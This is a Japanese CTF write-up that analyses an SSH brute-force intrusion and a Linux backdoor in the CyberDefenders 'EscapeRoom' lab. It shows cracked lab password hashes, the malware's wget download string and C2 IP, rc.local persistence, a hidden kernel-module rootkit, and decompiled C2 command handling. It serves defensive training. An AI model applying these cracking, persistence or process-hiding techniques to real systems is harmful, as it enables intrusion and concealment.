初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は CyberDefenders (以下リンク参考)の「EscapeRoom」にチャレンジした際のWriteupになります。
※本チャレンジについてはRed側のペネトレというよりはBlue側の分析力を問われるものになります。
Question 1 「What service did the attacker use to gain access to the system?」
これはWiresharkを開けますか?といった問題でしょうね。見ればわかりますが、SSHでの通信がたんまりです。
Ans: SSH
Question 2「What attack type was used to gain access to the system?(one word)」
上記のSSHの通信が繰り返されてるのでbから始まる攻撃の名前を投入するだけ
Ans: bruteforce
Question 3「What was the tool the attacker possibly used to perform this attack?」
上記攻撃ができるツールとりあえず入れてみる。
※こんなんでいいのか...まだPCAP全然見れてないぞ...
Ans: hydra
Question 4 「How many failed attempts were there?」
試行失敗回数なのでTCPフローをカウントしてけばいいです。
成功時のSSHの通信のフローを見てみる。
以下を見ると53なのでー1して回答となる。
Ans: 52
Question 5「What credentials (username:password) were used to gain access? Refer to shadow.log and sudoers.log.」
これはPCAPではなく、「shadow.log」を解析することになる。
Johnさんの出番です。shadow.logの内容を解けそうなのを抜粋して「hash」ファイルを作成する。
ubuntu:$6$MOCeF0du$eCgZ9.I.hS5CDST1aQHozhLbBH6rAUj97vvW/22eaCynqLv/whZKM1freAN3n2XQiCWjDr0UFreVv0IAvI.fl0:15549:0:99999:7:::
guest:$6$SaltVal1$MNuCQofLmz9CSSVdNGkdj7gRvcHeRinIVP2ezH5Q17oGC23EdbyAwZ6uzaknESS0W0TkgVpyqzGYqJMdxXSSl/:15549:0:99999:7:::
gibson:$6$SaltVal3$ub1ejU/gJOqG1gKnGhSypMtVJouMJ9JmVOYgptXcL0HLSfA84ZH.uwngUpf5XiLp0hu/E2hVh.CLBp2U24Uac1:15549:0:99999:7:::
sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::
george:$6$SaltVal5$W3YtX9RKtQfqPWxg6/iaxwMYD8LFxP/zqvTsg5GNXi39ulbUSAR.lvjXHrpJdSISNAiWpb6kj2iNI6LlFWETC1:15549:0:99999:7:::
roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::
timothy:$6$SaltVal7$B6dVnvXVmLuILd3oBeCjvjUAYnowMZ5IRm1k3xzKq/fo8MZV7rUMFU1hhzRvaw9.G6mPST8fL8R6cvWqppcpf.:15549:0:99999:7:::
pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::
sterling:$6$SaltVal9$7oq808gj5Pm4vzJQ7rOWXHtUiJw.qfmEhcmqhGYWUr.r3n4/G5V12QWVaJq7DPura/ZEVPqEUUpMlYzv412Qb1:15549:0:99999:7:::
manager:$6$SaltVal2$ybuPu7Nmo9LKn0p0ozhFhFw2SS2cqkLsx8c5OEAWFkIJjtXBEJqxUQzLh900QMgFTGiw6YuFDueNAapfLKt0f1:15549:0:99999:7:::
上記をWordリスト「rockyou.txt」(以下リンク)を用いて解析。
Ans: manager:forgot
Question 6「What other credentials (username:password) could have been used to gain access also have SUDO privileges? Refer to shadow.log and sudoers.log.」
これは「shadow.log」と「sudoers.log」の合体技です。
root privilegesできるやつのハッシュに絞ってまた解析するだけ。
「hash」ファイルを以下のように変更します。(これくらい絞ったほうが解析は早いです。僕は面倒なのでそのまま回しました。)
sean:$6$SaltVal4$rIpTjZrVyyX4Lz0/TMvx3FjUbRRMEgKJ2vnQwBgaoSWeLm/VZifQvBco8AnpVQWhNvMolnyY43X5/i5YK/TIw.:15549:0:99999:7:::
roger:$6$SaltVal6$.1SaTeewycJ1oTmt/6yxAbEyezXhnOajmjP9KWhvNGhkOapy0CyGvEBSQyuL2.TbiEDAPhfoKgoHjbPjczvHH0:15549:0:99999:7:::
pierce:$6$SaltVal8$IUEDzxEsUcki.khFF/HOfbSa6uswLDmEGAobvvbz.8MYy9UvtPo6DCZrpcbLa2Ma4AUj65mNCr7xPP0kVH0tT/:15549:0:99999:7:::
Ans: sean:spectre
Question 7「What is the tool used to download malicious files on the system?」
マルウェアダウロードしてるToolなにって言われてます。
まぁとりあえずHTTP通信見てみます。
あ、ELFの実行ファイルを落としてるのがある。これかな?
なんかUPX
のパッキング文字が見えるし、これでしょう。
これを落としてきているツールはUser-Agent
で確認できます。
Ans: wget
Question 8「How many files the attacker download to perform malware installation?」
HTTPのトラフィックを見れば大きく2つのトラフィックがあるのがわかるかなと思う。
texy/html
のレスポンスとimage/bmp
のレスポンスだ。
「マルウェアをインストールするために攻撃者はいくつのファイルをダウンロードしましたか?」という問いかけなので、前半がマルウェアの ダウンローダー 、後半が マルウェア本体 と考えられる。
※というより前半はバックドアで後半が追加マルウェアなのでは??(´∀`*)
よって3つのファイルがanswerとなる。
Ans: 3
Question 9「What is the main malware MD5 hash?」
とりあえず全部のダウンローダーを抽出してみる。
以下の1,2,3のファイルをそれぞれ抽出する。
抽出したFileに対してそれぞれfile
コマンドを叩き込む。1と2のファイルに対してはexiftool
のコマンドも叩き込んでおいた。
3の中身も確認してみるが、1と2のファイルを操作しているというシェルスクリプトだ。
Ans: 772b620736b760c1d736b1e6ba2f885b
Question 10「What file has the script modified so the malware will start upon reboot?」
3のファイルの中身を見ればすぐにわかる。
自動実行する「/etc/rc.local
」に名前を「/var/mail/mail
」に変更した1のファイルの起動設定を書き込んでいるのが見える。
Ans: /etc/rc.local
Question 11「Where did the malware keep local files?」
1は/var/mail/
配下にmail
として潜んでます(・ω・)
Ans: /var/mail/
Question 12「What is missing from ps.log?」
ps.log
を見るしかないですね。
まぁここら辺はマルウェアファイルの隠ぺいかなと思ってなんとなくで回答できます。
Ans: /var/mail/mail
2のファイルのReversing
上記Questionの12に関する機能は2のファイルのReversingで見つけることが出来ます。
readdir
を差し替えてプロセスを隠ぺいするやり方ですね。これでpidof mail > /proc/dmesg
で飛ばしていたPIDの階層をps
やtop
コマンドで読み込めないようにするといった形ですな。
Question 13「What is the main file that used to remove this information from ps.log?」
Question 12で解析した2のファイルは以下のコマンドで名前が変わっているので変更後の名前を記載する。
mv 2 /lib/modules/`uname -r`/sysmod.ko
Ans: sysmod.ko
Question 14「Inside the Main function, what is the function that causes requests to those servers?」
これは1のファイルをReversingすることで解決できる。
一旦1の静的解析内容を見てみる。
ご丁寧にUPX
でパッキングしていることをお知らせしてくれているので1のファイルをアンパッキングする。コマンドは以下である。
$ upx -d <packed_file> -o <unpacked_file>
難なくUnpackできたので此奴をReversingしていく。
Stringから追っていくと、「wget -O %S%S http
」の文字が見える。
これを使っている関数へ飛んでみると答えが記載されている!
Ans: requestFile
Question 15「One of the IP's the malware contacted starts with 17. Provide the full IP.」
C2のIPを見つける問題。上記のwget
を実行している部分sprintf
に注目する。
%s
の3つ目のparam_1
に注目する。おそらくこれがIPなのだろう。これは関数requestFile
の引数として持ってこられているので、requestFile
の関数を呼び出しているものを確認する。
以下部分に注目する。
addr
のアドレスから8バイト分を抜き出したものが入るようである。このaddr
の場所に飛んでみる。
リトルエンディアンでGhidraさんが認識してくれているので楽である。8バイトで抜き出したアドレスへ飛んでいく。
IPアドレスが直書きされているのでこれで答えがわかるはずだ。
Ans: 174.129.57.253
Question 16「How many files the malware requested from external servers?」
httpで絞った上記image/bmp
の通信で判断できるはずだ。
Ans: 9
Question 17「What are the commands that the malware was receiving from attacker servers? Format: comma-separated in alphabetical order」
以下1のファイルのReversingのmainの中身である。
undefined8 main(void)
{
int iVar1;
time_t tVar2;
FILE *__stream;
long lVar3;
void *pvVar4;
long in_FS_OFFSET;
int local_420;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_420 = 0;
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
while( true ) {
makeKeys();
requestFile(*(undefined8 *)(addr + (long)local_420 * 8));
sprintf(local_418,"%s%s",&DAT_00403db6,*(undefined8 *)(lookupFile + (long)currentIndex * 8));
__stream = fopen(local_418,"rb");
fseek(__stream,0,2);
lVar3 = ftell(__stream);
fseek(__stream,0,0);
fclose(__stream);
pvVar4 = malloc((long)(int)((uint)lVar3 & 0xfffffffc));
decryptMessage(pvVar4);
iVar1 = processMessage(pvVar4);
if (iVar1 != 0) break;
sleep(1);
local_420 = local_420 + 1;
if (local_420 == 4) {
local_420 = 0;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;
}
requestFile(*(undefined8 *)(addr + (long)local_420 * 8));
の項目は前回のQuestion 13でやった通りです。
ここらへんでコマンドを扱ってそうな関数は以下の部分ですかね。
pvVar4 = malloc((long)(int)((uint)lVar3 & 0xfffffffc));
decryptMessage(pvVar4);
iVar1 = processMessage(pvVar4);
if (iVar1 != 0) break;
前半2行はおそらく暗号解除のためのメモリ領域確保とデコード関数でしょうね。というわけでprocessMessage
の関数を詳細に見ていきます。
暗号解除後の引数param_1
を何やらif-elif
でCMPしてます。ここら辺がコマンド文字列判定でしょう。
0x4e4f5000
と0x52554e3a
の部分をchr
で変換します。
chr
変換後のCMP
を確認します。これが答えですね!
Ans: NOP,RUN
最後に
これである程度のMalwareのTraficが把握できたかなとか思ってます。
リバーシングも出来て結構面白い問題でした。典型的なマルウェアの隠ぺいや難読化手法もあって、触りにはいい問題かなとか思ったりしてます。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。